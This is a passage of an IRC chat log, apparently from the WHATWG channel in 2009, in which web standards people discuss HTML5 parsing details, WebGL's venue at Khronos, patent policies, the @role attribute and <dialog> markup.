5 hours seems like a lot for a windows xp install

[15:19:03.0000] <mpilgrim>
i like comparing referrers based on "average time spent on site"

[15:19:04.0000] <Dashiva>
/me changes topic to 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- ???????????'

[15:19:05.0000] <Dashiva>
There

[15:20:00.0000] <GPHemsley>
?

[15:20:01.0000] <Philip`>
Dashiva: Are those question marks, or have I not installed enough Unicode fonts yet?

[15:20:02.0000] <GPHemsley>
Does that mean I can bring my logic with me now?

[15:20:03.0000] <Dashiva>
Now it's equally cryptic to everyone

[15:20:04.0000] <jamesr>
there's a discussion on WHATWG about adding locks to protect shared resources (document.cookie, window.localStorage). it would be possible to implement that API in pure javascript by using a sharedWorker and postMessage to pass a token around _except_ that it's possible for a context to go away while holding the "lock" token and there's no way to know that it is gone

[15:20:05.0000] <mpilgrim>
Philip`: lol

[15:20:06.0000] <Dashiva>
Philip`: They are question marks

[15:21:00.0000] <and>
annevk3: Nice, looks like a complete list of labels.

[15:21:01.0000] <jamesr>
so it could be useful to have a port.onclose event that is spec'd such that after the onclose event fires on a Port there it is guaranteed that no more postMessage events will ever be fired on it

[15:21:02.0000] <mpilgrim>
reminds me of this: http://www.cafepress.com/nucleartacos.26721820

[15:21:03.0000] <Dashiva>
/me changes topic to 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- 理を外に置いて下さい。'

[15:21:04.0000] <annevk3>
/me changes topic to 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- Please leave your sense of logic at the door, thanks!'

[15:23:00.0000] <Dashiva>
Philip`: The second one should have had symbols

[15:24:00.0000] <Philip`>
Dashiva: What language?

[15:24:01.0000] <Dashiva>
Japanese

[15:25:00.0000] <and>
On a completely different note, I had a quick look at tokeniser--treebuilder interaction, and found that CDATA/RCDATA/PLAINTEXT are dropped only inside <select> (as mentioned yesterday) and <frameset>. (I may have missed something, of course.)

[15:26:00.0000] <and>
The <select> case is slightly annoying since </select> may be implied inside a table, so tokenisation would then at least depend on table structure and nesting.

[15:26:01.0000] <Philip`>
Dashiva: Hmm, works in Opera but not in Konsole

[15:26:02.0000] <Philip`>
/me tries installing more fonts

[15:26:03.0000] <and>
Are unclosed CDATA/RCDATA elements inside <select> really a problem?

[15:27:00.0000] <annevk3>
and, you can probably get away with tokenizing somewhat correctly

[15:27:01.0000] <annevk3>
and, it sort of depends on your goals

[15:28:00.0000] <annevk3>
and, again though, Validator.nu is pretty fast

[15:28:01.0000] <Philip`>
Dashiva: Hooray, it works now

[15:29:00.0000] <and>
It would be nice to remove this special case and let an opening CDATA/RCDATA tag always imply CDATA/RCDATA tokenisation.

[15:33:00.0000] <annevk3>
and, usually just tokenizing is not enough anyway so I doubt it's worth trying to change impl here

[15:35:00.0000] <cardona507>
Firefox can't find the server at html5.validator.nu - whats up?

[15:37:00.0000] <and>
annevk3: It is sufficient for correct syntax colouring, conversion to UTF-8 without entities and probably quite a few other tasks, and *unnecessary* dependencies really should be avoided anyway.

[15:39:00.0000] <annevk3>
if you say so :)

[15:39:01.0000] <annevk3>
I'm not really interested in fighting that battle, but you could file a bug / write a comment

[15:45:00.0000] <and>
annevk3: Yes, I am probably going to do that. (I almost expected someone to point out that the current behaviour was essential for some obvious reason, in which case asking for a change would be pointless.)

[15:46:00.0000] <annevk3>
aah, well there could certainly be compat reasons

[15:46:01.0000] <annevk3>
e.g. pages having a stray <plaintext> inside <select> or some such

[16:59:00.0000] <jwalden>
syp__: does IE8 not support textContent?


2009-09-10
[17:37:00.0000] <Hixie>
annevk2: thanks

[23:16:00.0000] <roc>
what should cloning a media element do?

[23:16:01.0000] <roc>
should it clone the current source, current time, and all other internal state?

[23:25:00.0000] <cardona507>
mpilgrim - diving into HTML 5 - great article

[23:31:00.0000] <cardona507>
^book

[23:34:00.0000] <roc>
mpilgrim: in the canvas chapter, where you mention 3D, you might want to mention WebGL

[23:49:00.0000] <MikeSmith>
roc dropped off.. I was going to say that as far as mentioning WebGL it could help a lot of Mozilla and/or Khronos actually published some public information about it somewhere

[23:49:01.0000] <MikeSmith>
last I looked I could not find anything

[23:50:00.0000] <MikeSmith>
just a high-level overview page somewhere, and maybe some kind of status update about the progress of the discussions

[23:50:01.0000] <MikeSmith>
and some current list of organizations who are involved in the discussions

[23:50:02.0000] <MikeSmith>
of course what would really help is if the draft spec and the discussions themselves were actually public

[23:51:00.0000] <MikeSmith>
but so far there doesn't seem to be much indication that's actually going to happen any time soon

[23:51:01.0000] <MikeSmith>
(unless I missed some recent news)

[23:56:00.0000] <zcorpan>
MikeSmith: feel like fixing <footer> in v.nu? :)

[23:59:00.0000] <virtuelv>
I really, really, really wish Google stopped treating me as a lab rat on the search results page

[23:59:01.0000] <othermaciej>
MikeSmith: Khronos doesn't use a public process, sadly

[00:00:00.0000] <othermaciej>
the Apple folks in the relevant Khronos group seem to think it's going ok

[00:00:01.0000] <zcorpan>
http://bugzilla.validator.nu/show_bug.cgi?id=646

[00:00:02.0000] <othermaciej>
I do wish we'd used a standards org with public process for this

[00:05:00.0000] <MikeSmith>
I'm glad to hear it's going OK at least. I think it will prove to be something extremely useful to developers

[00:11:00.0000] <MikeSmith>
othermaciej: I guess I would just hope that those involved who have worked to help for more openness at the W3C and elsewhere (instead of on member-only lists and such) would also make an genuine effort to push for similar change for real openness there

[00:12:00.0000] <othermaciej>
MikeSmith: Chris Marrin of Apple is the editor of the spec, and Oliver Hunt and a few others from Apple are also involved

[00:12:01.0000] <MikeSmith>
zcorpan: can you remind me what needs to be fixed around footer? is there an open bug? if it's an easy one I can try to get it fixed fast

[00:12:02.0000] <othermaciej>
MikeSmith: I expect changing Khronos would be hard - I wish a different venue had been chosen

[00:12:03.0000] <MikeSmith>
othermaciej: ah, cool. that's good to know

[00:13:00.0000] <othermaciej>
Khronos also makes it very likely that Microsoft will not participate or ever adopt the spec

[00:13:01.0000] <Hixie>
othermaciej: seems like it'd be pretty easy if opera, google, mozilla, and apple all said "ok let's make this a public process or we quit"

[00:14:00.0000] <othermaciej>
Hixie: Mozilla and Google were the main ones who pushed for the spec to be done using Khronos's known non-open process, IIRC

[00:14:01.0000] <othermaciej>
but I should probably join the list and get a handle on what's up

[00:14:02.0000] <Hixie>
i'd be mildly surprised if google was, but ok

[00:14:03.0000] <Hixie>
and i don't get why mozilla would want a closed process

[00:14:04.0000] <Hixie>
but i know they were pushing khronos

[00:15:00.0000] <MikeSmith>
othermaciej: if there wasn't open discussion about the choice of venue before that choice was made -- that is, if the choice was basically made unilaterally without much discussion among the potential implementors and other stakeholders... well, that is pretty disheartening on its own

[00:16:00.0000] <othermaciej>
MikeSmith: as far as I can tell, it was mainly decided by Mozilla (possibly also Google but not sure)

[00:16:01.0000] <othermaciej>
MikeSmith: by the time they talked to us about it, they'd already talked to Khronos and decided it was the way to go

[00:17:00.0000] <zcorpan>
MikeSmith: change content model to the same as <header>. don't know if there's a bug, but iirc hixie annotated the checkin as affecting validators

[00:17:01.0000] <othermaciej>
we'd have preferred open process, but Apple participates in Khronos a lot already so we can't really call it a bad venue

[00:17:02.0000] <MikeSmith>
othermaciej: hmm. that seems really unfortunate but I guess I should shut about it

[00:17:03.0000] <MikeSmith>
*shut up about it

[00:17:04.0000] <othermaciej>
the risk I'm afraid of is too many graphics experts and not enough web technology experts

[00:18:00.0000] <zcorpan>
/me embeds a youtube video in http://blog.whatwg.org/vim-checker with just <embed>

[00:18:01.0000] <MikeSmith>
othermaciej: that doesn't seem like so big a risk.. I guess the quality of the representation is more important then the quantity

[00:18:02.0000] <MikeSmith>
and sounds like you guys have the right people in their at least

[00:19:00.0000] <zcorpan>
Hixie: the markup youtube provides for embedding videos could be simplified

[00:20:00.0000] <Hixie>
not surprised

[00:21:00.0000] <hsivonen>
http://codinginparadise.org/weblog/2009/09/new-svg-web-release-owlbear.html says: "SVG itself stands for Scalable Vector Graphics, an open standard that is part of the HTML 5 family of technologies for interactive, search-engine friendly web vector graphics."

[00:21:01.0000] <othermaciej>
MikeSmith: I'm told that at times it's hard to get people to really understand that APIs that are part of the Web platform need to be safe - you can't let bad calls cause leaks or crashes

[00:21:02.0000] <othermaciej>
MikeSmith: classically, OpenGL counts on the application developer to get things right

[00:21:03.0000] <tantek>
HTML 5 "family of technologies" ?

[00:22:00.0000] <MikeSmith>
zcorpan: very cool video

[00:22:01.0000] <othermaciej>
HTML5 is a very flexible buzzword

[00:23:00.0000] <MikeSmith>
zcorpan: much better then the crappy screenshot I had there before that the dog ate

[00:23:01.0000] <MikeSmith>
the term HTML5 has market value.. other technologies should be happy to be associated with it

[00:24:00.0000] <zcorpan>
it seems that every five years or so, a new buzzword appears that means the same thing: DHTML, Ajax, HTML5

[00:24:01.0000] <tantek>
MikeSmith, has "HTML5" superceded "W3C" as the buzzword of choice?

[00:24:02.0000] <zcorpan>
was W3C ever a buzzword?

[00:25:00.0000] <hsivonen>
I guess "the Open Web Platform family of technologies" would be a bit long

[00:25:01.0000] <hsivonen>
zcorpan: it was when the WaSP started

[00:25:02.0000] <tantek>
e.g. SVG was part of the W3C family of technologies for interactive search-engine friendly web vector graphics

[00:25:03.0000] <MikeSmith>
/me considers how to finesse wording for associating client-side XSLT with HTML5...

[00:26:00.0000] <tantek>
zcorpan W3C was a buzzword as long as most of the work that came out of W3C was for the Open Web Platform in practice

[00:27:00.0000] <hsivonen>
/me wonders if SVG/HTML5 is a bit like GNU/Linux from the SVG POV

[00:27:01.0000] <MikeSmith>
othermaciej: counting on application developers to get things right doesn't seem to be the safest approach for the Web.. I'm reminded of the current discussion about mutex-like locking and also Crockord's comment "most of the world's body of JavaScript programs is crap"

[00:27:02.0000] <tantek>
when the work became primarily about "enterprise/intranet" technologies (e.g. XML*** family) rather than the public world wide web, you might say the term W3C lost favor among those who worked hard for the actual open web.

[00:28:00.0000] <tantek>
hsivonen - originally SVG was one of many efforts that was supposed to obsolete/kill HTML.

[00:28:01.0000] <hsivonen>
tantek: not just enterprise/intranet but also mobile not-the-real-Web and Semantic Web

[00:29:00.0000] <hsivonen>
tantek: interesting. SVG seems to be in a different category

[00:29:01.0000] <othermaciej>
MikeSmith: browsers simply can't offer APIs that let Web content cause crashes or hangs; but I'm sure it will all be worked out, it just takes a bunch of explaining at times

[00:29:02.0000] <hsivonen>
tantek: though the API stuff occasionally seems like ignoring what was already there

[00:29:03.0000] <tantek>
hsivonen - the mobile companies weren't fooled for long, and switched toward actual open web technologies quite quickly

[00:30:00.0000] <MikeSmith>
tantek: I guess I think in general that the name of any one particular organization is not the best term to use as a term for promoting a particular set of technologies

[00:30:01.0000] <tantek>
MikeSmith - it should have been, given that W3C's mission was/is to lead the web to its full potential.

[00:31:00.0000] <hsivonen>
tantek: it turns out the Web doesn't mean what it seems to mean

[00:31:01.0000] <MikeSmith>
othermaciej: I think the basic explanation to them should be, don't assume this stuff will be used safely and responsibly by thoughtful programmers who actually know what they are doing and won't shoot themselves in the foot

[00:32:00.0000] <hsivonen>
/me has discovered that the W3C's mission statement is very unhelpful as a frame of discussion on what the W3C should do

[00:32:01.0000] <tantek>
hsivonen - "the Web" means *the* Web, it doesn't mean a bunch of little closed webs (intranets), it also means the *existing* Web, not some future parallel universe all-cleaned-up Web.

[00:32:02.0000] <hsivonen>
tantek: oh, I agree with you

[00:34:00.0000] <othermaciej>
tantek: WAP and the rainbow spectrum of Mobile Profiles of things aren't quite dead yet...

[00:35:00.0000] <tantek>
othermaciej - the mobile profiles that diverge from actual open web technologies are dead enough. does iPhone support WAP 1.0?

[00:35:01.0000] <MikeSmith>
tantek: someone I know once said to me, "Standards bodies don't age well." ... it is perhaps to be expected that any given standards body that's around for long enough is going to eventually do some things to seriously disappoint some of the very people who helped to build it and make it successful

[00:35:02.0000] <othermaciej>
tantek: iPhone does not support that stuff (as far as I know)

[00:35:03.0000] <Hixie>
i think standards bodies are an outdated concept

[00:35:04.0000] <tantek>
othermaciej - right. and BlackBerry barely does.

[00:36:00.0000] <othermaciej>
we do have vendors who want to ship WebKit with stuff like WAP, WCSS, XHTML MP, ESMP, etc bolted on

[00:36:01.0000] <othermaciej>
apparently due to residual carrier demand in some markets

[00:36:02.0000] <hsivonen>
othermaciej: do you accept patches?

[00:36:03.0000] <MikeSmith>
othermaciej: the markets in question include mainland China

[00:36:04.0000] <othermaciej>
hsivonen: we have accepted patches for some of that stuff (as long as it's off by default and minimally intrusive to core code)

[00:36:05.0000] <hsivonen>
othermaciej: isn't XHTML MP support in a backwards-compatible way incompatible with the Web?

[00:37:00.0000] <othermaciej>
MikeSmith: indeed, that is the main one cited

[00:37:01.0000] <tantek>
MikeSmith - I think it's the difference in this case between those who helped build it and make it successful, and those who pay membership dues and thus expect a stronger impact upon the steering of goals, resources, often divergent from the former group.

[00:37:02.0000] <othermaciej>
hsivonen: I think that's true for ESMP as well (it's really a "profile" of both the DOM and ECMAScript)

[00:37:03.0000] <hsivonen>
IIRC, the mobile legacy puts pressure against parsing application/xhtml+xml as XML

[00:37:04.0000] <MikeSmith>
othermaciej: so I guess it could be argued it's a fairly pragmatic concern given the size of that market

[00:37:05.0000] <tantek>
Hixie, WHATWG is effectively a standards body - it just has different rules, procedures, culture, principles etc. than W3C.

[00:38:00.0000] <othermaciej>
hsivonen: I strongly urge people not to ship the stuff that incompatibly changes standard Web APIs

[00:38:01.0000] <tantek>
a W3C was/is different from IETF.

[00:38:02.0000] <Hixie>
tantek: whatwg is a mailing list.

[00:38:03.0000] <tantek>
Hixie, WHATWG *has a* mailing list.

[00:38:04.0000] <tantek>
it's still a *WG*

[00:38:05.0000] <Hixie>
tantek: sure, working groups aren't going anywhere

[00:38:06.0000] <othermaciej>
I think standards bodies may be necessary for competing companies to be able to legally collaborate without it being an antitrust violation

[00:39:00.0000] <Dashiva>
What does @role do that @class doesn't except assume support for lots of predefined values...

[00:39:01.0000] <tantek>
othermaciej - indeed, and the more open the standards body, the better.

[00:39:02.0000] <zcorpan>
hsivonen: indeed

[00:39:03.0000] <Hixie>
tantek: but it's not a standards body by any definition anyone would have given 5 years ago. i agree that it's what should happen to standards bodies, though

[00:39:04.0000] <tantek>
Hixie, neither is microformats.org

[00:39:05.0000] <Hixie>
tantek: indeed

[00:40:00.0000] <hsivonen>
Dashiva: @role is sensitive to accessibility API mapping. @class isn't.

[00:40:01.0000] <Dashiva>
hsivonen: But only because we declare it to be

[00:40:02.0000] <othermaciej>
I would say an organization creating a standard is a "standards body", no matter how informally constituted

[00:40:03.0000] <tantek>
othermaciej - indeed

[00:40:04.0000] <hsivonen>
Dashiva: well, initially everything is only because so declared to be

[00:40:05.0000] <othermaciej>
after all, for a long time the IETF had no legal existence whatsoever, and even now, its only formal existence is through association with other bodies like ISOC

[00:40:06.0000] <hsivonen>
Dashiva: then the legacy requirements kick in

[00:41:00.0000] <hsivonen>
Dashiva: with @role and ARIA, the legacy has already shipped

[00:41:01.0000] <tantek>
othermaciej - "formal existence" may not be necessary for success.

[00:41:02.0000] <Dashiva>
hsivonen: Indeed. But the talk about using the full XHTML2 @role with all its vague uses doesn't have legacy

[00:41:03.0000] <hsivonen>
tantek: does microformats.org exist formally?

[00:41:04.0000] <othermaciej>
tantek: that may be so, although patent law and the paranoia about it can complicate matters

[00:42:00.0000] <hsivonen>
Dashiva: correct

[00:42:01.0000] <Dashiva>
So I'm wondering what's the difference between XHTML2 @role and our previously rejected predefined class names

[00:42:02.0000] <tantek>
othermaciej - indeed, and it's good that other orgs have done work (CC PD/CC0, W3C/IETF RF) that can be re-used.

[00:43:00.0000] <othermaciej>
IETF does not have an RF IPR policy

[00:43:01.0000] <othermaciej>
technically they are under RAND with disclosure requirements (though I think individual Working Groups can choose to chart an RF course)

[00:43:02.0000] <tantek>
hsivonen microformats.org is an all volunteer community that uses a website (wiki), an IRC channel, and a few mailing lists. not sure if that fulfills anyone's definition of "formal" or not, nor whether it matters whether it does or not.

[00:43:03.0000] <hsivonen>
Dashiva: XHTML2 @role takes non-predefined CURIEs

[00:44:00.0000] <hsivonen>
Dashiva: so XHTML2 @role is like the old HTML5 class with predefined names

[00:44:01.0000] <othermaciej>
role was originally considered to have predefined values plus open-ended non-predefined values

[00:44:02.0000] <tantek>
othermaciej: IETF RFC3667 & RFC3668.

[00:44:03.0000] <hsivonen>
Dashiva: where the XHTML2 predefined roles don't have colons and the non-predefined roles are CURIEs

[00:44:04.0000] <othermaciej>
people have at times argued that even the non-predefined values of @role are "more semantic" than any @class value

[00:45:00.0000] <Dashiva>
Well, take JF's statement that @role could be used instead of accesskey

[00:45:01.0000] <tantek>
features and functionality are as semantic as you define them to be. it's fairly pointless to argue that use of one attribute is "more semantic" than another in a vacuum.

[00:45:02.0000] <hsivonen>
maybe a useful definition of formal existence is whether it's a non-natural person that can hold copyrights

[00:45:03.0000] <Dashiva>
Wouldn't that require predefined roles?

[00:45:04.0000] <hsivonen>
Dashiva: landmarks?

[00:46:00.0000] <Dashiva>
No, he was talking about it in the XHTML2 context

[00:46:01.0000] <hsivonen>
Dashiva: I haven't read any email from JF this morning yet

[00:46:02.0000] <othermaciej>
Dashiva: that would require predefined roles

[00:46:03.0000] <tantek>
once XHTML2 went down the CURIE/namespace path for the role attribute, I gave up on it.

[00:46:04.0000] <othermaciej>
Dashiva: it also doesn't make sense for most application-level keyboard shortcuts

[00:46:05.0000] <tantek>
it is good to see that ARIA did not adopt that mistake

[00:47:00.0000] <tantek>
keyboard shortcuts are an *exceptionally* difficult problem to solve

[00:47:01.0000] <hsivonen>
tantek: it took some effort to get ARIA out of that hole

[00:47:02.0000] <tantek>
hsivonen - thanks for the clarification, I did not realize that.

[00:47:03.0000] <Dashiva>
jgraham: Good job on finding that summary table, by the way. It is indeed quite absurd.

[00:48:00.0000] <tantek>
it's amazing how complex technologies that raise the barrier for ease of use could possibly be seriously considered for a technology that supposed to *increase* accessibility

[00:48:01.0000] <tantek>
no amount of handwaving that a "role" attribute could solve/replace keyboard shortcuts is going to make it true

[00:49:00.0000] <Dashiva>
A lot of specs would be gone if handwaving had been outlawed :)

[00:50:00.0000] <tantek>
/me can say this from having done *a lot* of work to replace/upgrade "accesskey" with a more flexible/platform-useful "key-equivalent" property. look for "key-equivalent" in this document: http://www.w3.org/Style/css3-updates/css3-ui-comments

[00:50:01.0000] <hsivonen>
"[UPDATE: 'key-equivalent' has been dropped from this version of CSS3-UI.]"

[00:51:00.0000] <hsivonen>
/me agrees it is a hard problem

[00:51:01.0000] <tantek>
precisely, hard enough to drop and not have it hold back other features.

[00:51:02.0000] <othermaciej>
tantek: I don't see anything in either of those RFCs requiring RF patent licensing - the latter specifically mentions that in your disclosure you can state an intent to license a patent under royalty-bearing RAND terms

[00:51:03.0000] <tantek>
othermaciej - said nothing about *requiring*

[00:52:00.0000] <tantek>
simply *having* an RF policy

[00:52:01.0000] <tantek>
so yes, IETF does *have* RF policy

[00:52:02.0000] <tantek>
they just don't *require* it

[00:52:03.0000] <tantek>
others can require it though

[00:52:04.0000] <othermaciej>
it has an IPR policy

[00:52:05.0000] <tantek>
which includes RF as an option

[00:53:00.0000] <othermaciej>
sure, but anyone is always free to license their IP under RF terms

[00:53:01.0000] <tantek>
that's undefined

[00:53:02.0000] <othermaciej>
or at least, I've never heard of a standards body that required you to charge royalties for any patents you hold

[00:53:03.0000] <tantek>
"RF terms" is specific to each standards body

[00:53:04.0000] <tantek>
that's bother to define it

[00:54:00.0000] <tantek>
/me wishes there was Creative Commons equivalent for patent IPR policy.

[00:54:01.0000] <hsivonen>
tantek: isn't that what the Open Web Foundation is for?

[00:54:02.0000] <Hixie>
open web foundation isn't going to be doing it as far as i can tell

[00:54:03.0000] <tantek>
so you could say rel="patent-policy" href="http://creativecommons.org/rf/1" etc.

[00:55:00.0000] <hsivonen>
/me really wishes there were a reusable RF policy--not a Creative Commons catalog of zillions of different policies to choose from 

[00:56:00.0000] <tantek>
hsivonen, yes OWF is trying to solve this problem with a contribution template/boilerplate for open web technologies.

[00:56:01.0000] <othermaciej>
the IETF's definition of royalty-free terms is much less precise than the W3C's

[00:56:02.0000] <hsivonen>
Hixie: what is the OWF doing these days, then?

[00:56:03.0000] <tantek>
hsivonen, Hixie might not be the right person to ask, he quit the OWF.

[00:56:04.0000] <othermaciej>
they do say there is a preference for royalty-free, which I guess is a policy

[00:56:05.0000] <tantek>
othermaciej - agreed their terms are different.

[00:56:06.0000] <tantek>
/me agrees with hsivonen in wishing for *a* reusable RF policy.

[01:01:00.0000] <tantek>
/me has asked Creative Commons for this (a reusable RF policy) publicly, several times in open Q&A.

[01:01:01.0000] <tantek>
(over the years)

[01:04:00.0000] <tantek>
speaking of open web - anyone hear speak French? there's quite a conversation going (in French) in #openweb

[01:04:01.0000] <tantek>
s/hear/here

[01:04:02.0000] <hsivonen>
It seems to me that CC isn't really about Royalty Free or about Freedom in the FSF sense.

[01:04:03.0000] <Dashiva>
karl does, but he might not be around

[01:04:04.0000] <Dashiva>
karlcow/karlushi

[01:04:05.0000] <hsivonen>
CC is pushing for NonCommercial and MoreRights

[01:05:00.0000] <hsivonen>
which are about easy royalty

[01:05:01.0000] <hsivonen>
not royalty-free

[01:05:02.0000] <tantek>
hsivonen - the Science Commons effort is working toward RF-like language

[01:05:03.0000] <tantek>
it's the closest of the CC efforts towards RF

[01:05:04.0000] <tantek>
but it doesn't go far enough (IMHO)

[01:05:05.0000] <hsivonen>
also, Lessig's talks lately have focused on the ease of clearing rights for remixes--not about making remixes simply allowed without rights clearing

[01:05:06.0000] <othermaciej>
IPR policies are different from license agreements though

[01:06:00.0000] <othermaciej>
you can't just slap one on your work unilaterally

[01:06:01.0000] <tantek>
othermaciej - why not?

[01:06:02.0000] <othermaciej>
participants have to actually agree to it as grounds for participation

[01:06:03.0000] <tantek>
othermaciej - as they do for copyright assignment as well

[01:06:04.0000] <tantek>
no different

[01:07:00.0000] <othermaciej>
copyright assignment is a different issue than license agreement

[01:07:01.0000] <tantek>
not really. both are IP assignment.

[01:07:02.0000] <othermaciej>
there again, you need active assent of the participant, not just a passive license statement

[01:07:03.0000] <othermaciej>
a license agreement is not an IP assignment at all

[01:08:00.0000] <othermaciej>
it grants you a license for a work under certain conditions

[01:08:01.0000] <tantek>
a license is a form of IP assignment.

[01:08:02.0000] <tantek>
it's not all, but it is some

[01:08:03.0000] <tantek>
the mechanisms are similar enough that a rel to external document solution should work for both

[01:09:00.0000] <Hixie>
hsivonen: they're making a patent policy for specs made in a few months by small groups with the patent holders being the people who wrote the spec

[01:09:01.0000] <othermaciej>
I don't think a rel link in a document would create a legally binding requirement to assign copyright or disclose or license patents

[01:10:00.0000] <hsivonen>
Hixie: are comments by people who aren't spec editors left as an open IPR injection vector?

[01:10:01.0000] <othermaciej>
organizations that use copyright assignment make contributors actually sign a contract

[01:10:02.0000] <Hixie>
hsivonen: i don't think any proposals by anyone has any effect on that

[01:10:03.0000] <hsivonen>
Hixie: that sucks

[01:11:00.0000] <Hixie>
hsivonen: not really

[01:11:01.0000] <tantek>
othermaciej - I'm not sure either, but IANAL, nor are you, so all I'm saying is that it *seems* possible - and that therefore it is worth some CC/open-content/standards lawyer's time to try to make it so.

[01:11:02.0000] <Hixie>
hsivonen: that's a non-issue in practice

[01:11:03.0000] <tantek>
hsivonen - it's definitely a problem with mailing lists

[01:11:04.0000] <Hixie>
hsivonen: patent violations come from primary participants and from people who had patents you didn't know about

[01:11:05.0000] <tantek>
where there is no IP requirement for contribution

[01:12:00.0000] <Hixie>
hsivonen: not from people who have patents and try to inject them into random specs

[01:12:01.0000] <tantek>
Hixie - IIRC the Sun/XLink/XPointer problem could be characterized as injection from holder.

[01:13:00.0000] <Hixie>
a non-wg member sent comments that caused the spec to change to intentionally infringe the commentor's patents?

[01:16:00.0000] <MikeSmith>
zcorpan: I checked in the footer change to align with whatwg r3751 and tested it and I just now synced up qa-dev.w3.org:8888 to it for testing. Please check and let me know if anything appears broken.

[01:20:00.0000] <Hixie>
holy crap, paul posted to the list

[01:21:00.0000] <tantek>
Paul does good work.

[01:56:00.0000] <hsivonen>
sigh. http://en.wikipedia.org/w/index.php?title=HTML&diff=312446147&oldid=prev

[01:57:00.0000] <erlehmann>
hsivonen, but HTML 5 is official lingo, isnt it?

[01:59:00.0000] <hsivonen>
erlehmann: the vote said "HTML 5" but now even the W3C Editor's Draft says "HTML5"

[02:00:00.0000] <hsivonen>
othermaciej: is losing the space something that can be made official by lazy consensus?

[02:01:00.0000] <erlehmann>
hsivonen, impeach the editor ;)

[02:01:01.0000] <hsivonen>
Super Friends asked for the space to be dropped, too.

[02:03:00.0000] <othermaciej>
hsivonen: the whatwg draft seems to be consistently spaceless, as is the latest Editor's Draft

[02:04:00.0000] <othermaciej>
hsivonen: I don't think anyone is asking for the space back, so we could make it a WG decision, but I'm also not sure it is worth the WG's time

[02:04:01.0000] <othermaciej>
hsivonen: I don't know if a WG vote would be binding on Wikipedia in any case

[02:04:02.0000] <othermaciej>
er, WG consensus resolution

[02:06:00.0000] <annevk2>
I think there will be a lot of confusion about microformats being layered on top and not being directly associated with the markup.

[02:07:00.0000] <tantekc>
annevk2 why?

[02:08:00.0000] <Hixie>
are we seriously discussing the consensus on whether there should be a space between the L and the 5 in "HTML5"?

[02:08:01.0000] <tantekc>
existing success of microformats would seem to refute that hypothesis

[02:08:02.0000] <annevk2>
sorry, microdata

[02:08:03.0000] <annevk2>
such similar names :)

[02:08:04.0000] <hsivonen>
annevk2: the spec needs to say something to make that clear

[02:09:00.0000] <tantekc>
annevk2 - I think microformats have proven out that simple microdata will likely be a success as well.

[02:09:01.0000] <annevk2>
e.g. on the list people talk about adding semantics by using microdata

[02:09:02.0000] <annevk2>
but things like <dialog> cannot be introduced with microdata

[02:10:00.0000] <tantekc>
annevk2 - not true, in fact, there has been work on microformats for conversations

[02:11:00.0000] <tantekc>
which I expect to do a better job than <dialog>

[02:11:01.0000] <annevk2>
how do you handle arbitrary markup?

[02:11:02.0000] <annevk2>
e.g. images, boldening, links, etc. in a phrase a person just typed

[02:12:00.0000] <erlehmann>
othermaciej, nothing is binding for wikipedia.

[02:12:01.0000] <tantekc>
annevk2 - based on what real world evidence are you asking/implying that handling arbitrary markup is necessary?

[02:12:02.0000] <othermaciej>
presumably ability to cite an authoritative reference is binding, to the extent anything is

[02:12:03.0000] <tantekc>
see here for current research into conversation/chat examples: http://microformats.org/wiki/chat-examples

[02:13:00.0000] <tantekc>
feel free to add any more real world evidence you have to that page

[02:13:01.0000] <hsivonen>
/me wonders if othermaciej's statements in an IRC log are authoritative for Wikipedia purposes

[02:13:02.0000] <erlehmann>
regarding microformats … Hixie, didn't you do a markup study (or planned to do) ?

[02:14:00.0000] <othermaciej>
hsivonen: I would guess next time HTML5 is published by the HTML WG, you could cite the TR link

[02:14:01.0000] <othermaciej>
I'm not sure if they would find the Editor's Draft authoritative

[02:14:02.0000] <tantekc>
erlehmann - the latest broad data on microformats is available via Yahoo Search monkey

[02:14:03.0000] <Hixie>
erlehmann: we're recruiting participants now

[02:14:04.0000] <erlehmann>
Hixie, fine to know. :)

[02:16:00.0000] <annevk2>
tantekc, the logs for this channel often have links at least, in #html-wg pimpbot utters things in colors but the details are not logged, I expect that if Google Wave takes off a little you get more conversations with images, maybe video, etc.

[02:16:01.0000] <erlehmann>
tantekc, if you couly put a time element / attribute in a dialog, would it help ?

[02:16:02.0000] <othermaciej>
I wish more albums that I'm actually interested in had iTunes LP available

[02:16:03.0000] <annevk2>
tantekc, though simple images is already done today in most IM clients

[02:17:00.0000] <tantekc>
erlehmann - <dialog> is too broken to be worth discussing what might be necessary to fix it.

[02:17:01.0000] <erlehmann>
tantekc, can you elaborate on that ?

[02:17:02.0000] <annevk2>
tantekc, I agree we should drop <dialog>

[02:18:00.0000] <tantekc>
annevk2 - if you can add URLs to illustrative examples of the phenomena you mention to the /wiki/chat-examples page - it would be appreciated.

[02:18:01.0000] <annevk2>
/me filed a bug to that effect

[02:18:02.0000] <erlehmann>
hmm, does the xmpp xhtml-im need an overhaul then to keep up with waves and HTML 5 (ha, spaces) ?

[02:18:03.0000] <tantekc>
annevk2 - feel free to add a +1 to that bug from me.

[02:18:04.0000] <erlehmann>
annevk2, and how do i markup natural conversations then ? going back to <dl>s ?

[02:20:00.0000] <tantek>
erlehmann - see the markup here: http://rbach.priv.at/Microformats/IRC/2009-08-29

[02:21:00.0000] <tantek>
it makes quite good use of existing HTML 4.01 semantic elements

[02:21:01.0000] <erlehmann>
tantek, and it uses <cite> in a way it was agreed not to in HTML5

[02:22:00.0000] <tantek>
erlehmann - HTML5 is broken in that regard

[02:22:01.0000] <tantek>
as there is numerous existing uses of <cite> with that semantic

[02:22:02.0000] <tantek>
thus HTML5 should be amended to match existing semantic use of <cite>

[02:22:03.0000] <annevk2>
erlehmann, whatever markup suits your usecase best

[02:23:00.0000] <tantek>
that use of <cite> has been well documented and implemented in markup since at least 2005

[02:23:01.0000] <annevk2>
erlehmann, HTML5 does not have dedicated markup for all use cases, see e.g. the chapters on tag clouds and footnotes

[02:23:02.0000] <takkaria>
how about making i and cite semantically identical?

[02:23:03.0000] <erlehmann>
annevk2, i use dialog currently, mainly because it is a) simple and b) enables me to state that several people said something simultaneously (am i understanding it right ?)

[02:24:00.0000] <erlehmann>
takkaria, <i> ? sure you are joking

[02:24:01.0000] <tantek>
takkaria - it's a smaller change to simply allow <cite> to represent a speaking person, as allowable per HTML 4.01 and in use given the examples.

[02:24:02.0000] <erlehmann>
tantek, i would prefer it too, but to markup quotes i heard.

[02:25:00.0000] <tantek>
quotes heard or seen

[02:25:01.0000] <tantek>
e.g. in an IRC channel

[02:25:02.0000] <takkaria>
